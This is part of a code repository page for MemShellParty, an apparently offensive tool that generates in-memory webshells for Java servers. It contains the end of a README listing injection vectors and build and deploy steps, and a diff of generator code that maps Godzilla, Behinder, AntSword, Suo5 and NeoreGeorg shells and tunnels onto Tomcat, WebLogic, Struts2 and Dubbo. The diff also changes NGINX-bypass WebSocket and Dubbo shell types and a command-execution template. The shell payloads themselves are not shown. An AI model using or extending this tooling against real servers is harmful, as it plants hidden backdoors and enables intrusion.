- [x] EL、SpEL、OGNL、Aviator、MVEL、JEXL、Groovy、JXPath、BeanShell
- [x] Velocity、Freemarker、JinJava
- [x] Native DeserializationCB and CC
- [x] Agent
- [x] XXL-JOB Executor
- [x] Hessian, Hessian2 Deserialization (XSLT gadget chain)
- [ ] JNDI
- [ ] JDBC Connection
- [ ] Other common deserialization
## Local Build
### Building from Source Code
> Suitable for developers who want to modify the code. Clone the repository locally and build the frontend and backend projects.
First, you need to download and install [bun](https://bun.sh/), a tool for building the frontend service.
1. Clone the project using Git:
```bash
git clone https://github.com/ReaJason/MemShellParty.git
```
2. Build the frontend project. After the build finishes, static resources will be automatically moved to the Spring Boot module.
```bash
cd MemShellParty/web
bun install
bun run build
```
3. Build the backend project. Ensure you are using a JDK 17 environment.
```bash
cd MemShellParty/boot
./gradlew :boot:bootjar -x test
```
After building, you can directly run the JAR file located at `MemShellParty/boot/build/libs/boot-*.jar` (the exact version might vary).
```bash
cd MemShellParty/boot
java -jar \
--add-opens=java.base/java.util=ALL-UNNAMED \
--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \
--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED \
build/libs/boot-1.0.0.jar
```
Alternatively, you can build a Docker container from the built artifacts:
```bash
cd MemShellParty/boot
docker buildx build -t memshell-party:latest . --load
docker run -it -d --name memshell-party -p 8080:8080 memshell-party:latest
```
### Building with Dockerfile Directly
> Suitable for users who want to build with custom access paths, for example, when using NGINX as a reverse proxy ([#44](https://github.com/ReaJason/MemShellParty/issues/44)).
Download the [Dockerfile](../Dockerfile) from the project root.
- VERSION: Version information (arbitrary, suggest using the latest tag; used for frontend display).
- ROUTE_ROOT_PATH: Frontend root route configuration (e.g., /memshell-party).
- CONTEXT_PATH: Backend access prefix (e.g., /memshell-party).
```bash
# Basic build (defaults to root path "/")
docker buildx build \
--build-arg VERSION=1.7.0 \
-t memshell-party:latest . --load
# Run the basic image, access at http://127.0.0.1:8080
docker run -it -d -p 8080:8080 memshell-party:latest
# Build with custom access path (e.g., /memshell-party)
docker buildx build \
--build-arg VERSION=1.7.0 \
--build-arg ROUTE_ROOT_PATH=/memshell-party \
--build-arg CONTEXT_PATH=/memshell-party \
-t memshell-party:latest . --load
# Run the custom path image, access at http://127.0.0.1:8080/memshell-party
docker run -it -p 8080:8080 \
-e BOOT_OPTS=--server.servlet.context-path=/memshell-party \
memshell-party:latest
```
If you need to use NGINX as a reverse proxy, first build the container with a custom access path. Then configure NGINX similar to the following:
Ensure that the `location /memshell-party``ROUTE_ROOT_PATH=/memshell-party``CONTEXT_PATH=/memshell-party` and
`BOOT_OPTS=--server.servlet.context-path=/memshell-party` all use the same path.
```text
location /memshell-party {
proxy_pass http://127.0.0.1:8080;
proxy_set_header Host $http_host;
proxy_set_header X-Forwarded-By $server_addr:$server_port;
proxy_set_header X-Forwarded-For $remote_addr;
proxy_http_version 1.1;
proxy_connect_timeout 3s;
proxy_read_timeout 300s;
proxy_send_timeout 300s;
proxy_buffer_size 16k;
proxy_buffers 8 64k;
proxy_busy_buffers_size 128k;
}
```
## Contribute
> Any feedback or issue discussion you provide is a contribution to this project.
> It will be so nice if you want to contribute. 🎉
1. If you have strong Docker environment building skills, consider adding integration test cases related to specific CVEs.
2. If you are skilled in writing memory shells, try adding support for a new type or target.
3. If you have extensive practical experience, feel free to open issues with suggestions or improvements.
For project structure, build processes, and compilation details, please refer to [CONTRIBUTING.md](../CONTRIBUTING.md)。
## Thanks
- [vulhub/java-chains](https://github.com/vulhub/java-chains)
- [pen4uin/java-memshell-generator](https://github.com/pen4uin/java-memshell-generator) - [pen4uin/java-memshell-generator](https://github.com/pen4uin/java-memshell-generator)
- [pen4uin/java-echo-generator](https://github.com/pen4uin/java-echo-generator)
### Let's start the party 🎉 ### Let's start the party 🎉
+5 -9
View File
@@ -1,5 +1,5 @@
plugins { plugins {
id("java-library") id("java")
alias(libs.plugins.lombok) alias(libs.plugins.lombok)
id("maven-publish-convention") id("maven-publish-convention")
} }
@@ -29,21 +29,17 @@ tasks.test {
dependencies { dependencies {
implementation(project(":memshell-party-common")) implementation(project(":memshell-party-common"))
implementation(project(":packer")) implementation(project(":packer"))
api(libs.byte.buddy) implementation(libs.byte.buddy)
implementation(libs.asm.commons) implementation(libs.asm.commons)
implementation(libs.javax.websocket.api) implementation(libs.javax.websocket.api)
implementation(libs.jakarta.websocket.client.api)
implementation(libs.javax.servlet.api) implementation(libs.javax.servlet.api)
implementation(libs.jakarta.servlet.api)
implementation(libs.spring.webmvc) implementation(libs.spring.webmvc)
implementation(libs.spring.webflux) implementation(libs.spring.webflux)
implementation(libs.tomcat.embed.core)
implementation(libs.reactor.netty.core) implementation(libs.reactor.netty.core)
implementation(libs.alibaba.dubbo)
implementation(libs.apache.dubbo)
implementation(libs.jackson.annotations)
implementation(libs.bundles.jna)
implementation(libs.bundles.jna)
implementation(libs.bcel)
implementation(libs.jackson.databind)
testImplementation(libs.junit.jupiter) testImplementation(libs.junit.jupiter)
testImplementation(libs.hamcrest) testImplementation(libs.hamcrest)
testRuntimeOnly(libs.junit.platform.launcher) testRuntimeOnly(libs.junit.platform.launcher)
@@ -7,11 +7,9 @@ package com.reajason.javaweb;
public class Server { public class Server {
public static final String Tomcat = "Tomcat"; public static final String Tomcat = "Tomcat";
public static final String Jetty = "Jetty"; public static final String Jetty = "Jetty";
public static final String Jetty5 = "Jetty5";
public static final String Undertow = "Undertow"; public static final String Undertow = "Undertow";
public static final String JBoss = "JBoss"; public static final String JBoss = "JBoss";
public static final String Resin = "Resin"; public static final String Resin = "Resin";
public static final String Resin2 = "Resin2";
public static final String WebLogic = "WebLogic"; public static final String WebLogic = "WebLogic";
public static final String WebSphere = "WebSphere"; public static final String WebSphere = "WebSphere";
public static final String GlassFish = "GlassFish"; public static final String GlassFish = "GlassFish";
@@ -22,6 +20,5 @@ public class Server {
public static final String SpringWebMvc = "SpringWebMvc"; public static final String SpringWebMvc = "SpringWebMvc";
public static final String SpringWebFlux = "SpringWebFlux"; public static final String SpringWebFlux = "SpringWebFlux";
public static final String XXLJOB = "XXLJOB"; public static final String XXLJOB = "XXLJOB";
public static final String Struts2 = "Struts2"; public static final String Struct2 = "Struct2";
public static final String Dubbo = "Dubbo";
} }
@@ -1,13 +1,10 @@
package com.reajason.javaweb.memshell; package com.reajason.javaweb.memshell;
import com.reajason.javaweb.GenerationException; import com.reajason.javaweb.GenerationException;
import com.reajason.javaweb.asm.ClassInterfaceUtils;
import com.reajason.javaweb.memshell.config.InjectorConfig; import com.reajason.javaweb.memshell.config.InjectorConfig;
import com.reajason.javaweb.memshell.config.ShellConfig; import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.config.ShellToolConfig; import com.reajason.javaweb.memshell.config.ShellToolConfig;
import com.reajason.javaweb.memshell.generator.DubboServiceInterfaceHelperGenerator;
import com.reajason.javaweb.memshell.generator.InjectorGenerator; import com.reajason.javaweb.memshell.generator.InjectorGenerator;
import com.reajason.javaweb.memshell.generator.WebSocketByPassHelperGenerator;
import com.reajason.javaweb.memshell.server.AbstractServer; import com.reajason.javaweb.memshell.server.AbstractServer;
import com.reajason.javaweb.probe.ProbeContent; import com.reajason.javaweb.probe.ProbeContent;
import com.reajason.javaweb.probe.ProbeMethod; import com.reajason.javaweb.probe.ProbeMethod;
@@ -17,7 +14,6 @@ import com.reajason.javaweb.probe.generator.response.ResponseBodyGenerator;
import com.reajason.javaweb.utils.CommonUtil; import com.reajason.javaweb.utils.CommonUtil;
import org.apache.commons.codec.binary.Base64; import org.apache.commons.codec.binary.Base64;
import org.apache.commons.lang3.StringUtils; import org.apache.commons.lang3.StringUtils;
import org.apache.commons.lang3.Strings;
import org.apache.commons.lang3.tuple.Pair; import org.apache.commons.lang3.tuple.Pair;
import java.util.Map; import java.util.Map;
@@ -63,27 +59,6 @@ public class MemShellGenerator {
byte[] shellBytes = ShellToolFactory.generateBytes(shellConfig, shellToolConfig); byte[] shellBytes = ShellToolFactory.generateBytes(shellConfig, shellToolConfig);
if (shellConfig.getShellType().endsWith(ShellType.DUBBO_SERVICE)) {
String packageName = CommonUtil.getPackageName(shellToolConfig.getShellClassName());
String simpleName = CommonUtil.getSimpleName(shellToolConfig.getShellClassName());
String interfaceName = packageName + ".I" + simpleName;
injectorConfig.setInjectorHelperClassName(interfaceName);
injectorConfig.setHelperClassBytes(DubboServiceInterfaceHelperGenerator.getBytes(interfaceName, shellConfig));
shellBytes = ClassInterfaceUtils.addInterface(shellBytes, interfaceName);
String urlPattern = injectorConfig.getUrlPattern();
if (Strings.CS.equalsAny(urlPattern, "/*", "/")
|| StringUtils.isBlank(urlPattern)) {
injectorConfig.setUrlPattern(interfaceName);
}
}
if (ShellType.BYPASS_NGINX_WEBSOCKET.equals(shellConfig.getShellType())
|| ShellType.JAKARTA_BYPASS_NGINX_WEBSOCKET.equals(shellConfig.getShellType())) {
String helperClassName = shellToolConfig.getShellClassName() + "$1";
injectorConfig.setInjectorHelperClassName(helperClassName);
injectorConfig.setHelperClassBytes(WebSocketByPassHelperGenerator.getBytes(helperClassName, shellConfig, shellToolConfig));
}
injectorConfig.setInjectorClass(injectorClass); injectorConfig.setInjectorClass(injectorClass);
injectorConfig.setShellClassName(shellToolConfig.getShellClassName()); injectorConfig.setShellClassName(shellToolConfig.getShellClassName());
injectorConfig.setShellClassBytes(shellBytes); injectorConfig.setShellClassBytes(shellBytes);
@@ -92,7 +67,7 @@ public class MemShellGenerator {
byte[] injectorBytes = injectorGenerator.generate(); byte[] injectorBytes = injectorGenerator.generate();
if (shellConfig.isProbe() && !shellConfig.getShellType().startsWith(ShellType.AGENT)) { if (shellConfig.isProbe() && !shellConfig.getShellType().startsWith(ShellType.AGENT)) {
ProbeConfig probeConfig = ProbeConfig.builder() ProbeConfig probeConfig = ProbeConfig.builder()
.shellClassName(injectorConfig.getInjectorClassName() + "Wrapper") .shellClassName(injectorConfig.getInjectorClassName() + "1")
.probeMethod(ProbeMethod.ResponseBody) .probeMethod(ProbeMethod.ResponseBody)
.probeContent(ProbeContent.Bytecode) .probeContent(ProbeContent.Bytecode)
.targetJreVersion(shellConfig.getTargetJreVersion()) .targetJreVersion(shellConfig.getTargetJreVersion())
@@ -9,7 +9,6 @@ import com.reajason.javaweb.memshell.shelltool.godzilla.*;
import com.reajason.javaweb.memshell.shelltool.neoreg.*; import com.reajason.javaweb.memshell.shelltool.neoreg.*;
import com.reajason.javaweb.memshell.shelltool.suo5.*; import com.reajason.javaweb.memshell.shelltool.suo5.*;
import com.reajason.javaweb.memshell.shelltool.suo5v2.*; import com.reajason.javaweb.memshell.shelltool.suo5v2.*;
import com.reajason.javaweb.memshell.shelltool.wsproxy.ProxyWebSocket;
import java.util.Collections; import java.util.Collections;
import java.util.List; import java.util.List;
@@ -33,11 +32,9 @@ public class ServerFactory {
static { static {
register(Server.Tomcat, Tomcat::new); register(Server.Tomcat, Tomcat::new);
register(Server.Jetty, Jetty::new); register(Server.Jetty, Jetty::new);
register(Server.Jetty5, Jetty5::new);
register(Server.Undertow, Undertow::new); register(Server.Undertow, Undertow::new);
register(Server.JBoss, Jboss::new); register(Server.JBoss, Jboss::new);
register(Server.Resin, Resin::new); register(Server.Resin, Resin::new);
register(Server.Resin2, Resin2::new);
register(Server.WebLogic, WebLogic::new); register(Server.WebLogic, WebLogic::new);
register(Server.WebSphere, WebSphere::new); register(Server.WebSphere, WebSphere::new);
register(Server.GlassFish, GlassFish::new); register(Server.GlassFish, GlassFish::new);
@@ -48,8 +45,7 @@ public class ServerFactory {
register(Server.SpringWebMvc, SpringWebMvc::new); register(Server.SpringWebMvc, SpringWebMvc::new);
register(Server.SpringWebFlux, SpringWebFlux::new); register(Server.SpringWebFlux, SpringWebFlux::new);
register(Server.XXLJOB, XxlJob::new); register(Server.XXLJOB, XxlJob::new);
register(Server.Struts2, Struts2::new); register(Server.Struct2, Struct2::new);
register(Server.Dubbo, Dubbo::new);
addToolMapping(ShellTool.Godzilla, ToolMapping.builder() addToolMapping(ShellTool.Godzilla, ToolMapping.builder()
.addShellClass(SERVLET, GodzillaServlet.class) .addShellClass(SERVLET, GodzillaServlet.class)
@@ -64,8 +60,6 @@ public class ServerFactory {
.addShellClass(JAKARTA_PROXY_VALVE, Godzilla.class) .addShellClass(JAKARTA_PROXY_VALVE, Godzilla.class)
.addShellClass(WEBSOCKET, GodzillaWebSocket.class) .addShellClass(WEBSOCKET, GodzillaWebSocket.class)
.addShellClass(JAKARTA_WEBSOCKET, GodzillaWebSocket.class) .addShellClass(JAKARTA_WEBSOCKET, GodzillaWebSocket.class)
.addShellClass(BYPASS_NGINX_WEBSOCKET, GodzillaWebSocket.class)
.addShellClass(JAKARTA_BYPASS_NGINX_WEBSOCKET, GodzillaWebSocket.class)
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, GodzillaInterceptor.class) .addShellClass(SPRING_WEBMVC_INTERCEPTOR, GodzillaInterceptor.class)
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, GodzillaInterceptor.class) .addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, GodzillaInterceptor.class)
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, GodzillaControllerHandler.class) .addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, GodzillaControllerHandler.class)
@@ -84,9 +78,7 @@ public class ServerFactory {
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, GodzillaUndertowServletHandler.class) .addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, GodzillaUndertowServletHandler.class)
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Godzilla.class) .addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Godzilla.class)
.addShellClass(WAS_AGENT_FILTER_MANAGER, Godzilla.class) .addShellClass(WAS_AGENT_FILTER_MANAGER, Godzilla.class)
.addShellClass(ACTION, GodzillaStruts2Action.class) .addShellClass(ACTION, GodzillaStruct2Action.class)
.addShellClass(ALIBABA_DUBBO_SERVICE, GodzillaDubboService.class)
.addShellClass(APACHE_DUBBO_SERVICE, GodzillaDubboService.class)
.build()); .build());
addToolMapping(ShellTool.Behinder, ToolMapping.builder() addToolMapping(ShellTool.Behinder, ToolMapping.builder()
@@ -111,7 +103,7 @@ public class ServerFactory {
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, BehinderUndertowServletHandler.class) .addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, BehinderUndertowServletHandler.class)
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Behinder.class) .addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Behinder.class)
.addShellClass(WAS_AGENT_FILTER_MANAGER, Behinder.class) .addShellClass(WAS_AGENT_FILTER_MANAGER, Behinder.class)
.addShellClass(ACTION, BehinderStruts2Action.class) .addShellClass(ACTION, BehinderStruct2Action.class)
.build()); .build());
addToolMapping(ShellTool.AntSword, ToolMapping.builder() addToolMapping(ShellTool.AntSword, ToolMapping.builder()
@@ -129,7 +121,7 @@ public class ServerFactory {
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, AntSwordUndertowServletHandler.class) .addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, AntSwordUndertowServletHandler.class)
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, AntSword.class) .addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, AntSword.class)
.addShellClass(WAS_AGENT_FILTER_MANAGER, AntSword.class) .addShellClass(WAS_AGENT_FILTER_MANAGER, AntSword.class)
.addShellClass(ACTION, AntSwordStruts2Action.class) .addShellClass(ACTION, AntSwordStruct2Action.class)
.build()); .build());
addToolMapping(ShellTool.Command, ToolMapping.builder() addToolMapping(ShellTool.Command, ToolMapping.builder()
@@ -145,8 +137,6 @@ public class ServerFactory {
.addShellClass(JAKARTA_PROXY_VALVE, Command.class) .addShellClass(JAKARTA_PROXY_VALVE, Command.class)
.addShellClass(WEBSOCKET, CommandWebSocket.class) .addShellClass(WEBSOCKET, CommandWebSocket.class)
.addShellClass(JAKARTA_WEBSOCKET, CommandWebSocket.class) .addShellClass(JAKARTA_WEBSOCKET, CommandWebSocket.class)
.addShellClass(BYPASS_NGINX_WEBSOCKET, CommandWebSocket.class)
.addShellClass(JAKARTA_BYPASS_NGINX_WEBSOCKET, CommandWebSocket.class)
.addShellClass(UPGRADE, CommandUpgrade.class) .addShellClass(UPGRADE, CommandUpgrade.class)
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, CommandInterceptor.class) .addShellClass(SPRING_WEBMVC_INTERCEPTOR, CommandInterceptor.class)
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, CommandInterceptor.class) .addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, CommandInterceptor.class)
@@ -166,9 +156,7 @@ public class ServerFactory {
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, CommandUndertowServletHandler.class) .addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, CommandUndertowServletHandler.class)
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Command.class) .addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Command.class)
.addShellClass(WAS_AGENT_FILTER_MANAGER, Command.class) .addShellClass(WAS_AGENT_FILTER_MANAGER, Command.class)
.addShellClass(ACTION, CommandStruts2Action.class) .addShellClass(ACTION, CommandStruct2Action.class)
.addShellClass(ALIBABA_DUBBO_SERVICE, CommandDubboService.class)
.addShellClass(APACHE_DUBBO_SERVICE, CommandDubboService.class)
.build()); .build());
addToolMapping(ShellTool.Suo5, ToolMapping.builder() addToolMapping(ShellTool.Suo5, ToolMapping.builder()
@@ -194,7 +182,7 @@ public class ServerFactory {
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, Suo5UndertowServletHandler.class) .addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, Suo5UndertowServletHandler.class)
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Suo5.class) .addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Suo5.class)
.addShellClass(WAS_AGENT_FILTER_MANAGER, Suo5.class) .addShellClass(WAS_AGENT_FILTER_MANAGER, Suo5.class)
.addShellClass(ACTION, Suo5Struts2Action.class) .addShellClass(ACTION, Suo5Struct2Action.class)
.build()); .build());
addToolMapping(ShellTool.Suo5v2, ToolMapping.builder() addToolMapping(ShellTool.Suo5v2, ToolMapping.builder()
@@ -219,7 +207,7 @@ public class ServerFactory {
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, Suo5v2UndertowServletHandler.class) .addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, Suo5v2UndertowServletHandler.class)
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Suo5v2.class) .addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Suo5v2.class)
.addShellClass(WAS_AGENT_FILTER_MANAGER, Suo5v2.class) .addShellClass(WAS_AGENT_FILTER_MANAGER, Suo5v2.class)
.addShellClass(ACTION, Suo5v2Struts2Action.class) .addShellClass(ACTION, Suo5v2Struct2Action.class)
.addShellClass(CUSTOMIZER, Suo5v2JettyCustomizer.class) .addShellClass(CUSTOMIZER, Suo5v2JettyCustomizer.class)
.build()); .build());
@@ -245,14 +233,7 @@ public class ServerFactory {
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, NeoreGeorgUndertowServletHandler.class) .addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, NeoreGeorgUndertowServletHandler.class)
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, NeoreGeorg.class) .addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, NeoreGeorg.class)
.addShellClass(WAS_AGENT_FILTER_MANAGER, NeoreGeorg.class) .addShellClass(WAS_AGENT_FILTER_MANAGER, NeoreGeorg.class)
.addShellClass(ACTION, NeoreGeorgStruts2Action.class) .addShellClass(ACTION, NeoreGeorgStruct2Action.class)
.build());
addToolMapping(ShellTool.Proxy, ToolMapping.builder()
.addShellClass(WEBSOCKET, ProxyWebSocket.class)
.addShellClass(JAKARTA_WEBSOCKET, ProxyWebSocket.class)
.addShellClass(BYPASS_NGINX_WEBSOCKET, ProxyWebSocket.class)
.addShellClass(JAKARTA_BYPASS_NGINX_WEBSOCKET, ProxyWebSocket.class)
.build()); .build());
} }
@@ -7,14 +7,12 @@ package com.reajason.javaweb.memshell;
public class ServerType { public class ServerType {
public static final String TOMCAT = "Tomcat"; public static final String TOMCAT = "Tomcat";
public static final String JETTY = "Jetty"; public static final String JETTY = "Jetty";
public static final String JETTY5 = "Jetty5";
public static final String JBOSS_AS = "JBossAS"; public static final String JBOSS_AS = "JBossAS";
public static final String JBOSS_EAP6 = "JBossEAP6"; public static final String JBOSS_EAP6 = "JBossEAP6";
public static final String UNDERTOW = "Undertow"; public static final String UNDERTOW = "Undertow";
public static final String JBOSS_EAP7 = "JBossEAP7"; public static final String JBOSS_EAP7 = "JBossEAP7";
public static final String WILDFLY = "Wildfly"; public static final String WILDFLY = "Wildfly";
public static final String RESIN = "Resin"; public static final String RESIN = "Resin";
public static final String RESIN2 = "Resin2";
public static final String GLASSFISH = "Glassfish"; public static final String GLASSFISH = "Glassfish";
public static final String PAYARA = "Payara"; public static final String PAYARA = "Payara";
public static final String WEBLOGIC = "WebLogic"; public static final String WEBLOGIC = "WebLogic";
@@ -12,6 +12,5 @@ public class ShellTool {
public static final String Suo5v2 = "Suo5v2"; public static final String Suo5v2 = "Suo5v2";
public static final String AntSword = "AntSword"; public static final String AntSword = "AntSword";
public static final String NeoreGeorg = "NeoreGeorg"; public static final String NeoreGeorg = "NeoreGeorg";
public static final String Proxy = "Proxy";
public static final String Custom = "Custom"; public static final String Custom = "Custom";
} }
@@ -23,11 +23,10 @@ public class ShellToolFactory {
register(ShellTool.Behinder, BehinderGenerator.class, BehinderConfig.class); register(ShellTool.Behinder, BehinderGenerator.class, BehinderConfig.class);
register(ShellTool.Command, CommandGenerator.class, CommandConfig.class); register(ShellTool.Command, CommandGenerator.class, CommandConfig.class);
register(ShellTool.Suo5, Suo5Generator.class, Suo5Config.class); register(ShellTool.Suo5, Suo5Generator.class, Suo5Config.class);
register(ShellTool.Suo5v2, Suo5V2Generator.class, Suo5Config.class); register(ShellTool.Suo5v2, Suo5Generator.class, Suo5Config.class);
register(ShellTool.AntSword, AntSwordGenerator.class, AntSwordConfig.class); register(ShellTool.AntSword, AntSwordGenerator.class, AntSwordConfig.class);
register(ShellTool.NeoreGeorg, NeoreGeorgGenerator.class, NeoreGeorgConfig.class); register(ShellTool.NeoreGeorg, NeoreGeorgGenerator.class, NeoreGeorgConfig.class);
register(ShellTool.Custom, CustomShellGenerator.class, CustomConfig.class); register(ShellTool.Custom, CustomShellGenerator.class, CustomConfig.class);
register(ShellTool.Proxy, ProxyGenerator.class, ProxyConfig.class);
} }
public static void register(String shellToolName, Class<? extends ShellGenerator> generatorClass, Class<? extends ShellToolConfig> configClass) { public static void register(String shellToolName, Class<? extends ShellGenerator> generatorClass, Class<? extends ShellToolConfig> configClass) {
@@ -45,13 +45,7 @@ public class ShellType {
public static final String SPRING_WEBFLUX_HANDLER_METHOD = "HandlerMethod"; public static final String SPRING_WEBFLUX_HANDLER_METHOD = "HandlerMethod";
public static final String SPRING_WEBFLUX_HANDLER_FUNCTION = "HandlerFunction"; public static final String SPRING_WEBFLUX_HANDLER_FUNCTION = "HandlerFunction";
public static final String WEBSOCKET = "WebSocket"; public static final String WEBSOCKET = "WebSocket";
public static final String BYPASS_NGINX_WEBSOCKET = "BypassNginx" + WEBSOCKET;
public static final String JAKARTA_WEBSOCKET = "JakartaWebSocket"; public static final String JAKARTA_WEBSOCKET = "JakartaWebSocket";
public static final String JAKARTA_BYPASS_NGINX_WEBSOCKET = "JakartaWebBypassNginx" + WEBSOCKET;
public static final String ACTION = "Action"; public static final String ACTION = "Action";
public static final String DUBBO_SERVICE = "DubboService";
public static final String APACHE_DUBBO_SERVICE = "Apache" + DUBBO_SERVICE;
public static final String ALIBABA_DUBBO_SERVICE = "Alibaba" + DUBBO_SERVICE;
} }
@@ -22,18 +22,6 @@ public class CommandConfig extends ShellToolConfig {
@Builder.Default @Builder.Default
private String paramName = CommonUtil.getRandomString(8); private String paramName = CommonUtil.getRandomString(8);
/**
* 只有在 WebSocket Bypass 的时候才有用,防止对业务的干扰
*/
@Builder.Default
private String headerName = "User-Agent";
/**
* 只有在 WebSocket Bypass 的时候才有用,防止对业务的干扰
*/
@Builder.Default
private String headerValue = CommonUtil.getRandomString(8);
/** /**
* 加密器 * 加密器
*/ */
@@ -47,7 +35,7 @@ public class CommandConfig extends ShellToolConfig {
private ImplementationClass implementationClass = ImplementationClass.RuntimeExec; private ImplementationClass implementationClass = ImplementationClass.RuntimeExec;
/** /**
* 命令执行模板,使用 {command} 作为占位符 * 命令执行模板,例如 sh -c "{command}" 2>&1使用 {command} 作为占位符
*/ */
private String template; private String template;
@@ -60,22 +48,6 @@ public class CommandConfig extends ShellToolConfig {
} }
return self(); return self();
} }
public B headerName(final String headerName) {
if (StringUtils.isNotBlank(headerName)) {
this.headerName$value = headerName;
headerName$set = true;
}
return self();
}
public B headerValue(final String headerValue) {
if (StringUtils.isNotBlank(headerValue)) {
this.headerValue$value = headerValue;
headerValue$set = true;
}
return self();
}
} }
@@ -91,15 +63,12 @@ public class CommandConfig extends ShellToolConfig {
} }
public enum Encryptor { public enum Encryptor {
RAW, BASE64, DOUBLE_BASE64; RAW, DOUBLE_BASE64;
public static Encryptor fromString(String encryptor) { public static Encryptor fromString(String encryptor) {
if (encryptor != null && encryptor.equals("DOUBLE_BASE64")) { if (encryptor != null && encryptor.equals("DOUBLE_BASE64")) {
return DOUBLE_BASE64; return DOUBLE_BASE64;
} }
if (encryptor != null && encryptor.equals("BASE64")) {
return BASE64;
}
return RAW; return RAW;
} }
} }
@@ -16,44 +16,37 @@ import net.bytebuddy.dynamic.DynamicType;
@AllArgsConstructor @AllArgsConstructor
@Builder(toBuilder = true) @Builder(toBuilder = true)
public class InjectorConfig { public class InjectorConfig {
/**
* 注入器 Builder
*/
DynamicType.Builder<?> injectorBuilder;
/**
* 内存马 Builder
*/
DynamicType.Builder<?> shellBuilder;
/** /**
* 注入器模板类 * 注入器模板类
*/ */
private Class<?> injectorClass; private Class<?> injectorClass;
/** /**
* 注入器类名 * 注入器类名
*/ */
@Builder.Default @Builder.Default
private String injectorClassName = CommonUtil.generateInjectorClassName(); private String injectorClassName = CommonUtil.generateInjectorClassName();
/**
* 辅助类类名
*/
private String injectorHelperClassName;
/** /**
* 注入访问的地址 * 注入访问的地址
*/ */
@Builder.Default @Builder.Default
private String urlPattern = "/*"; private String urlPattern = "/*";
/** /**
* 内存马类名 * 内存马类名
*/ */
private String shellClassName; private String shellClassName;
/** /**
* 内存马类字节 * 内存马类字节
*/ */
private byte[] shellClassBytes; private byte[] shellClassBytes;
/**
* 辅助类字节码
*/
private byte[] helperClassBytes;
/** /**
* 添加静态代码块调用构造方法初始化 * 添加静态代码块调用构造方法初始化
*/ */
@@ -1,38 +0,0 @@
package com.reajason.javaweb.memshell.config;
import com.reajason.javaweb.utils.CommonUtil;
import lombok.*;
import lombok.experimental.SuperBuilder;
import org.apache.commons.lang3.StringUtils;
@Getter
@SuperBuilder
@NoArgsConstructor
@AllArgsConstructor
@ToString
public class ProxyConfig extends ShellToolConfig {
@Builder.Default
private String headerName = "User-Agent";
@Builder.Default
private String headerValue = CommonUtil.getRandomString(8);
public static abstract class ProxyConfigBuilder<C extends ProxyConfig, B extends ProxyConfig.ProxyConfigBuilder<C, B>>
extends ShellToolConfig.ShellToolConfigBuilder<C, B> {
public B headerName(final String headerName) {
if (StringUtils.isNotBlank(headerName)) {
this.headerName$value = headerName;
headerName$set = true;
}
return self();
}
public B headerValue(final String headerValue) {
if (StringUtils.isNotBlank(headerValue)) {
this.headerValue$value = headerValue;
headerValue$set = true;
}
return self();
}
}
}
@@ -73,18 +73,12 @@ public class ShellConfig {
@Builder.Default @Builder.Default
private boolean lambdaSuffix = false; private boolean lambdaSuffix = false;
/**
* 将 Java EE 转换为 Jakarta EE 类名
*/
@Builder.Default
private boolean jakarta = false;
public boolean isDebugOff() { public boolean isDebugOff() {
return !debug; return !debug;
} }
public boolean isJakarta() { public boolean isJakarta() {
return jakarta || shellType.startsWith(ShellType.JAKARTA); return shellType.startsWith(ShellType.JAKARTA);
} }
public boolean needByPassJavaModule() { public boolean needByPassJavaModule() {
@@ -23,10 +23,6 @@ public abstract class ByteBuddyShellGenerator<T extends ShellToolConfig> impleme
protected abstract DynamicType.Builder<?> getBuilder(); protected abstract DynamicType.Builder<?> getBuilder();
protected byte[] postProcessBytes(byte[] classBytes) {
return classBytes;
}
@Override @Override
public byte[] getBytes() { public byte[] getBytes() {
DynamicType.Builder<?> builder = getBuilder(); DynamicType.Builder<?> builder = getBuilder();
@@ -46,8 +42,7 @@ public abstract class ByteBuddyShellGenerator<T extends ShellToolConfig> impleme
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion())); .visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()));
try (DynamicType.Unloaded<?> unloaded = builder.make()) { try (DynamicType.Unloaded<?> unloaded = builder.make()) {
byte[] bytes = postProcessBytes(unloaded.getBytes()); return ProcessorRegistry.applyByteProcessors(unloaded.getBytes(), shellConfig, shellToolConfig);
